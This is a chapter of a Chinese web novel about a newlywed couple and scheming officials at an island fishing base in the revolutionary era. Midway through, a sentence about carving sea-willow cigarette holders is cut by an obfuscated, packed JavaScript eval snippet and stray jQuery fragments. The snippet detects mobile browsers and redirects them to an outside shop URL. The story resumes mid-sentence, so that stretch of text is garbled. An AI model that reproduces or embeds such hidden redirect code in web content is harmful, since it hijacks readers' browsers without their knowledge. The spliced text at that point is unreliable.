准确地说,颜惜同志是个妙人。原以为会有一场由陆尧引爆、席卷整个渔业基地的危机,就这样被她四两拨千斤地解决了。
其中最高兴的要数钱志高了,他原本以为陆尧这次是在劫难逃,没想到竟然逃过了。幸好是结婚了,不过钱志高隐隐觉得哪里不对劲。
光看陆尧的性子就知道,他们京市大家出身的年轻人,刚正有余,变通不足。可颜惜露的这一手,便是他们这些久居高位的领导也不得不叹服。
因着孙德义的关系,私心里,孙天军是乐得看陆尧笑话的。如今没得看了,他摩挲着手中的搪瓷缸子上的五角星,瞟了一眼耿成文。
耿成文适时开口,“各位领导,那袁光辉可是说了,还要再观察几天,了解陆尧在工作中的情况呢。他是把自己撇干净,让那群人来咱们基地搞事情。”
他嘴上说着基地,像是一心为基地考虑,实则眼神躲躲闪闪,时不时偷瞄一眼孙天军。曾言只静静看了片刻,便把他那点小心思看透,冷笑道:“你要真为基地好,该好好想想办法,保全基地,而不是针对陆尧同志。”
耿成文还想装模作样,丁书记一双眼睛如锃亮的菜刀,精准划破他隐藏的私心,带着审视说:“在这种关键的时候,谁要是敢因为自己的私心,影响渔业基地的生产运作,我一定撤了他的职。”
他心里的小算盘被戳破,脸上一红,忙低下头,不敢再说话。孙天军也收起周身的松弛,不敢再随意动作。
“我看,小颜同志这主意不错,咱们可以学习一下。”温华阳琢磨说,如果这招有用,他们也不用怕他们过来了。
曾言站起身来,宣布说:“立即号召一批工人,暂时停下手中的工作,将基地的墙都刷上各种标语,画上红色的星星之火。”
接到命令,钱志高和温华阳、孙天军和耿成文两两一前一后走出办公室。前者急急忙忙去召集工人刷标语,后者慢悠悠地下楼。
“真不知道他们急什么,要我说,最近咱们基地捕捞上来的鱼是越来越少了,外面都在干革命,咱们不如加入。”耿成文等他们走出一段距离后,跟孙天军嘀咕说,“偏偏他们不仅不加入,还进入戒备状态。”
如今外面的形势可以说是一边倒,明眼人都知道谁占优势。孙天军端个搪瓷杯子,眼尾微微往下压,掂量道:“毕竟渔业基地,还是他们说了算的。”
他向来如此,从来不说一句立场明确的话,只是语焉不详地引导别人两句。偏偏耿成文就吃这套,次次跟着孙天军走。
“孙指导员,凭您老丈人关系,迟早有一天,渔业基地会是您说了算的。”耿成文带着点羡慕说。
渔业基地大部分都知道,孙天军的岳丈是霞市水产局的二把手。东霞岛国营渔业基地直属霞市水产局管辖,有这层关系在,孙天军在渔业基地更上一层楼不是问题,甚至后面调到市里也是迟早的事情。
孙天军面上笑得一派温和,谦虚地说:“你们不用顾忌我老丈人的关系,大家在一起共事,说到底凭的是个人本事。”
他说说也就罢了,耿成文哪敢真接他这话,只得转移问题。真凭本事,他哪能年纪轻轻就坐到渔业基地指导员的位置。
***
得知渔业基地急召人去刷标语,陆尧跟钱志强一起回去帮忙。院子里的这群绿军装故事听得差不多了,也纷纷离开。
颜惜终于找到机会去隔壁找叶芊芊,“我需要小锯子、粗铁锉和波浪手钻,你知道在哪能弄到这些工具吗?”
制作海柳需要的工具她一直放在心上,只是这些天忙着结婚的事情,一直不得空。上次在黑市遇到叶芊芊的时候,她在卖海柳烟嘴,想必手里是有做海柳烟嘴的工具的。
叶芊芊一听就明白她要做什么,却不回话,而是带着颜惜找到孙阿婆,“婆婆,您做海柳烟嘴的工具是从哪买的?”
孙阿婆没料到颜惜也会做海柳烟嘴,他们家做海柳烟嘴的手艺是从祖上传下来的。因为会这门手艺,孙家世代在海岛上没饿死过人。她是嫁到孙家后学会做烟嘴的,也是靠着这门手艺,晚年一个人生活下来了。
“你要是不嫌旧,我这里有一套旧的给你。”孙阿婆想了想,从屋子的墙角下拿出一个小包袱,里面是一个小锯子、粗钢锉和手摇钻。
这些工具保存的很好,虽然不是崭新的,但没有一点锈迹,一看就是保存得当,又被人精心养护着的。
颜惜接过小包袱,转身回屋里拿了五块钱给孙阿婆,“这钱您拿着,既然您这刚好有,工具我就从您这买了。”
“是不是太多了?”孙阿婆迟疑道,犹豫着没有伸手去接钱。
颜惜将钱塞进她手里,握住孙阿婆有些干枯的手,“一点都不多,阿婆,你要是不卖我,我还不知道去哪买这些东西呢。我碰上您呀,运气真好。”
做海柳的工具稀少,购买铁制或钢制品又需要工业券,想要凑齐一套工具难度不小。
被她这么一哄,孙阿婆忍不住裂开嘴直笑,“你这丫头,嘴可真甜。”
给完钱,眼看孙阿婆露出倦怠的神色,颜惜和叶芊芊默默退出她的房间往外走。
“之前在黑市看见你卖海柳烟嘴,我以为是你自己做来卖的呢。”走出房间后,颜惜对叶芊芊说。
她几次三番帮自己,叶芊芊也坦诚,“大部分都是孙阿婆做的,我学做不久,经常失败,只能偶尔做出来一个。婆婆说,女孩子最好是有一门手艺,这样才能在漫长的人生中,无论经历什么风雨,都能站住脚跟。”
颜惜点点头,颇为认同孙阿婆的话。怎么能说遇到孙阿婆,不是一种幸运呢。在普遍认为女人一生的归宿应该是一个男人的时候,孙阿婆已经意识到,女人一生的归宿是自己。
想到今天来的那个小姑娘叶莹莹,她略微打量了一下叶芊芊,发现她们姐妹俩长得一点不像。叶芊芊五官比例极端正,大眼睛、轮廓分明,属于英气美人型。相比之下,叶莹莹的长相更偏小家碧玉些。不过看今天那一出,两姐妹关系似乎不太好,颜惜没有问叶芊芊关于妹妹的事,免得给人添堵,闲聊几句便各自回了房间。
既然有工具了,颜惜开始着手做海柳烟嘴。修剪好的海柳已经浸泡过三天,析出内部海盐,防止后期干裂。随后又阴干、暴晒了三天,直到海柳彻底干透,质地变硬,显露出黑褐色、暗红的颜色和纹理。
用小锯子裁下合适的长度,削去多余的枝干,再粗略修出烟嘴握柄、衔嘴两段雏形,顺着海柳天然的弯曲定型。第一步看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774837|209793||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着简单,但海柳的硬度远远超过普通木头,锯起来非常费力,颜惜弄了半天也只修出来两根坯料。
她起身的时候,已经是正午,颜惜走出房间,准备去隔壁灶房热点饭菜吃。一出门就看见陆尧挑着一担水回来,往孙阿婆那边去。
“小陆,你特意去山上的小溪中帮我挑水,真是麻烦你了。”孙阿婆垂着眼,眼尾经年堆叠的细纹舒展开,嘴角浮起温和的笑意。
陆尧弯腰提起水桶,将两桶水全都倒进她的缸里,才回过头道:“阿婆不必客气,我这就回去了。”
“村里的水井不能打水了么?”颜惜端出菜,陆尧已经自觉地在灶前烧火,于是她问道。
灶膛里火已经起来了,陆尧丢进去一根柴,火苗冒出噼里啪啦的响声,“井里的水微咸带点苦,只能用来洗东西。岛上大部分人家都是储存雨水用来煮饭、烧水一类的,孙阿婆家中没有建水窖,光靠两口大缸,淡水匮乏。”
来到岛上已经半个多月了,颜惜一直住在招待所,倒是不知海岛上淡水资源紧张的事。用水事关家家户户,也涉及自身,她便仔细问了一番。
可以饮用的淡水除了村民自己储存的雨水外,还有全村公用的大蓄水池。在村西边山坳的阴凉处挖的大型水泥池,下雨时收集雨水通过沟渠汇集到大池子中,平日并不分水,等旱季按人头定量分水。
如今是雨季,雨水充足,尚且不那么缺水,等再过一两个月进入旱季,村里大部分没有水窖的村民,只能依靠渔船运水回来。但渔船也不是每天都能运水回来,一个月能保证一次就不错了。
总而言之,淡水在海岛上的珍贵程度,不亚于粮食。
了解岛上的水资源情况后,晚上颜惜洗澡就有些犹豫,用井水洗澡,身上不舒服,头发也会打结。用淡水吧,她跟陆尧只有一口大缸,只怕很快就会没水喝。
“哗!”她还在犹豫期间,陆尧已经倒了一大锅水在灶上烧,像是看出她在犹豫什么,头也不回道,“你只管放心,用水有我。”
于是颜惜放下心来,心安理得地洗澡。岛上白天的温度足有二十多度,阳光又足,随便动动就出汗了,要是不洗澡的话,她睡不着。
痛痛快快洗了个热水澡后,颜惜舒舒服服躺进被窝,听着外面陆尧洗漱的声音,不免又有点紧张,今天是他们新婚的第二个晚上。昨晚没有做什么,他今晚会不会想做点什么?
胡思乱想间,陆尧已经带着一身水汽进了房间,看见床上用被子把自己裹成蚕蛹的颜惜,没有说什么。坐在八仙桌前,拿出一个笔记本,不知道在写些什么。
大约一个小时后,陆尧熄灭煤油灯上床,颜惜已经睡得迷迷糊糊,也就没管他,翻了个身继续睡。
几分钟后,外面突然传来一阵犬吠声,此起彼伏,像是村里的狗一只接一只地叫起来,接着传来人的说话声,喧喧嚷嚷,像是出了什么事。
“我出去看看,你呆在房间轻易别出去。”陆尧坐起身,三两下穿好衣服,下床对颜惜说。
就算他不说,颜惜也不打算贸然出去的,“我在家等你。”
他听见那句话,脚步微微顿住,脸上依旧是古井无波的模样,只指尖颤了颤,转瞬恢复正常,轻飘飘应了一声,“好。”